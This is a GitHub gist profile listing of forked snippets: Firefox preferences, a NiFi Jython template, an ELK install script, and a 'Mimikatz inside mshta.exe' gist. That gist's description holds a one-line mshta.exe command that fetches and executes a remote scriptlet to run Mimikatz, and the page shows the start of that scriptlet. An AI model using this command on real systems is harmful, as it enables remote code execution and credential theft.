Skip to content

Instantly share code, notes, and snippets.

View oscarandreu's full-sized avatar
馃挱
At work

脫scar Andreu oscarandreu

馃挱
At work
View GitHub Profile
@oscarandreu
oscarandreu / user.js
Created July 13, 2020 08:28 — forked from AetherEternity/user.js
Silent firefox
// Mozilla User Preferences
// To change a preference value, you can either:
// - modify it via the UI (e.g. via about:config in the browser); or
// - set it within a user.js file in your profile (create it if it doesn't exist).
//
// Profile folder location on different systems:
// Windows: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
// Mac OS X: Users/<username>/Library/Application Support/Firefox/Profiles/xxxxxxxx.default
// Linux: /home/<username>/.mozilla/firefox/xxxxxxxx.default
@oscarandreu
oscarandreu / mimikatz.sct
Created June 16, 2020 13:34 — forked from rmikehodges/mimikatz.sct
Mimikatz inside mshta.exe - "mshta.exe javascript:a=GetObject("script:http://127.0.0.1:8000/mshta.sct").Exec(); log coffee exit"
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
@oscarandreu
oscarandreu / ISP_template.py
Last active August 20, 2022 18:18 — forked from mattyb149/ISP_template.py
An Apache NiFi InvokeScriptedProcessor template (in Jython) for running ExecuteScript Jython scripts faster
from org.apache.nifi.processor import Processor,Relationship
from org.apache.nifi.components import PropertyDescriptor
from org.apache.nifi.processor.util import StandardValidators
from java.lang import Throwable
class ScriptBody():
def __init__(self):
pass
def executeScript(self, session, context, log, REL_SUCCESS, REL_FAILURE):
flowFile = session.get()
@oscarandreu
oscarandreu / elkinstall.sh
Last active August 9, 2018 10:32 — forked from mandeepbal/elkinstall.sh
ELK install
# https://www.elastic.co/guide/en/elasticsearch/reference/current/_installation.htmlhttps://www.elastic.co/guide/en/elasticsearch/reference/current/_installation.html
##############################################
#
# ELK Server
#
##############################################
yum install -y java
rpm --import http://packages.elasticsearch.org/GPG-KEY-elasticsearch